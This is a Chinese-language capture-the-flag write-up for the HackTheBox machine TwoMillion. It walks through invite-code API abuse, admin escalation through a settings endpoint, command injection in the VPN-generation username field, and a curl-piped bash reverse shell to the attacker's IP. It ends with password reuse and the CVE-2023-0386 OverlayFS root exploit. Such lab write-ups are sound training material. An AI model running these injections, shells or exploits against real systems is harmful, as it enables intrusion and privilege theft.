> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md).

# TwoMillion HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/TwoMillion>" %}

{% hint style="warning" %}
**技能：**

* 滥用 API 生成有效的邀请码
* 滥用 API 将我们的权限提升为管理员
* 通过设计不良的 API 功能进行命令注入
* 信息泄露
* 通过内核利用提权（CVE-2023-0386）- OverlayFS 漏洞
  {% endhint %}

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/4c12d1d17937505057feb9d53b69c4cb1381699d" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/d9dc05273625fdc98ff29a5d54b3f5e6196e1440" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.221 -oG allPorts
```

<figure><img src="/files/1c0c5683ce83c80fd193413f1d43fcb94e67605c" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,80 2million.htb-oN targeted
```

<figure><img src="/files/fbe979023c8537dbba38a2b9629e86960c3c7757" alt=""><figcaption></figcaption></figure>

## 端口 80 - HTTP

<figure><img src="/files/aeb23f5c05423d01892fc34f7408d94cfcfae3fe" alt=""><figcaption></figcaption></figure>

#### 使用 Gobuster 进行资源发现

```bash
gobuster dir -u http://2million.htb/ /
-w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt /
-t 100 -r --exclude-length 1674
```

<figure><img src="/files/90532b51543d3eea49f996c9e2ba6fe3683e5512" alt=""><figcaption></figcaption></figure>

#### 发现 `inviteapi.min.js` 文件

这个 JavaScript 文件使用经典的 `eval(function(p,a,c,k,e,d){...})` 混淆技术进行了高度混淆。去混淆后，出现了两个有趣的函数：

* `verifyInviteCode(code)`：将邀请码发送到 `/api/v1/invite/verify`
* `makeInviteCode()`：向 `/api/v1/invite/how/to/generate`

<figure><img src="/files/5768bdcc5765a062fcda9a557a6503bc59497978" alt=""><figcaption></figcaption></figure>

## 利用 API —— 生成邀请码

#### 初始请求：

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://2million.htb/api/v1/invite/how/to/generate
```

答案

> {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"},"hint":"数据已加密 ... 我们大概应该检查加密类型以便解密它..."}#

#### ROT13 解密 → 新 URL：

{% embed url="<https://rot13.com/>" %}

<figure><img src="/files/f7d5dcf12926522351a71ed2fcec6e0d51d2398a" alt=""><figcaption></figcaption></figure>

为了生成邀请码，向 /api/v1/invite/generate 发送 POST 请求

#### 请求：

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://amillion.htb/api/v1/invite/generate
```

<figure><img src="/files/d7b942d873ecd0197ede3aae73ed6c85d310adde" alt=""><figcaption></figcaption></figure>

响应（base64）：

* V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=

解码：

```bash
echo "V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=" | base64 -d; echo
```

WUOIF-LK68X-HUGTW-DOX1S

我们使用这个代码在网站上创建账户。

<figure><img src="/files/710b16971bb5cc84445d3b14305e11a6c2dbf4c0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b9335468275f6baf466b626c10f682adec81c13b" alt="" width="389"><figcaption></figcaption></figure>

## HackTheBox API 利用

<figure><img src="/files/cb8e414c676ebdc38c3abd939c4b04481fbcffff" alt=""><figcaption></figcaption></figure>

#### API 观察

通过访问 `/api`，我们可以观察到可用的路由。

<figure><img src="/files/dd43c9a469ae7ab03862a1110c2083bebb37eae7" alt=""><figcaption></figcaption></figure>

#### 尝试生成 VPN 配置（初次失败）

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate
```

答案：不允许。

<figure><img src="/files/eefeea61295e422d28e7b5b70b0dae6a1fa33256" alt=""><figcaption></figcaption></figure>

#### 通过 API 修改我们的角色

<figure><img src="/files/958b7baa8fabd60803a423e2413c5ef735d40e7d" alt=""><figcaption></figcaption></figure>

我们测试使用以下路由更改用户设置：

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update
```

> {"status":"danger","message":"缺少参数：email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'
```

> {"status":"danger","message":"缺少参数：is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'
```

> 答案：
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="/files/a25a2d0cfa4fd614d5561d41fb752bc65a827824" alt=""><figcaption></figcaption></figure>

#### 检查我们的管理员状态

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}
```

<figure><img src="/files/54dc1e82e210d5e2d34875896d83b7b12916cfd8" alt="" width="563"><figcaption></figcaption></figure>

### 通过命令注入实现 RCE

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'
```

<figure><img src="/files/e83f58f28bef03464a63c7e609b5fbad1a8dfe1f" alt=""><figcaption></figcaption></figure>

尝试向字段注入命令 `username`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'
```

<figure><img src="/files/e7fe70fd606f4d30707f4735decb9936c39ec332" alt=""><figcaption></figcaption></figure>

#### 反向 Shell

1. **文件服务器**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80
```

2. **Netcat 监听中**

```bash
nc -nvlp 443
```

3. **发送命令**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'    
```

我们获得一个反向 shell

<figure><img src="/files/6882e2b310efc8eb34fcf1a72e6c309353c0be09" alt=""><figcaption></figcaption></figure>

## 权限提升

#### 敏感文件发现

通过搜索我们 shell 可访问的文件，我们发现了一个隐藏的 `.env` 包含数据库凭据的文件：

```bash
DATABASE=htb_prod
USERNAME=admin
PASSWORD=SuperDuperPass123
```

<figure><img src="/files/76aca5c1baaac8f2801f45f8c83192dfedcbfcdd" alt=""><figcaption></figcaption></figure>

我们还注意到还有第二个用户，名为 `admin`.

<figure><img src="/files/beb9c1c40b9738dc4b5ea5e49964b711926b29e8" alt=""><figcaption></figcaption></figure>

#### 密码复用

通过测试发现的凭据，我们发现系统用户 `admin` 正在使用 **相同的密码** 与数据库密码相同。

### user.txt 标志 :)

<figure><img src="/files/82fd788962105a6a5cb6e37bcd83679be4942841" alt=""><figcaption></figcaption></figure>

这种不良做法使我们能够获得 **SSH 连接**:

#### 系统电子邮件

<figure><img src="/files/55456dba21261ab4ab6ed304958ecd5ce8a2c68f" alt=""><figcaption></figcaption></figure>

在连接时，一条消息告诉我们有一封 **新邮件**。通过阅读它，我们获得了关键信息：

> Hey admin,
>
> 我知道你正在尽快进行数据库迁移。虽然我们现在还在部分停摆，你也能把我们 Web 主机上的操作系统升级一下吗？今年已经出现了好几个严重的 Linux 内核 CVE。OverlayFS / FUSE 的那个看起来很糟糕。我们不能被它入侵。

<figure><img src="/files/a93c22d0fd92aff37f74a02291780ce5362c403e" alt=""><figcaption></figcaption></figure>

这条消息让我们追踪到一个 **已知的 OverlayFS 漏洞**:/ **CVE-2023-0386** ——Linux 内核中的一个本地提权漏洞。

## CVE-2023-0386 利用 - OverlayFS 提权

> OverlayFS 允许你叠加文件系统。在某些版本的 Linux 内核中，不当的容量管理允许非特权用户以 **root 权限**.

{% embed url="<https://github.com/puckiestyle/CVE-2023-0386>" %}

**操作步骤**

1. **克隆利用代码** 到我们的本地机器上：

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make all
```

2. **将编译后的文件传输** 到目标机器（`scp`, `python -m http.server`，等等）。

<figure><img src="/files/6e27f4784f4c5965b74faeae188ca52ef27674fe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8adb2e089ab619ece3e68492d924972b5394acb0" alt=""><figcaption></figcaption></figure>

2. **在目标机器上**，在 **两个终端**:

* 终端 A：

```bash
./fuse ./ovlcap/lower ./gc
```

* 终端 B：

```bash
./exp
```

如果一切顺利，我们会得到一个 **root** shell

<figure><img src="/files/e7a368122bf1dcc1594dfbeefddfe886ff4d9932" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/c6478268e83bea5ee638c9f114f6de52ee0d4a0e" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/b53e057f4b73a08d752968925ba4a45e9656fe81" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
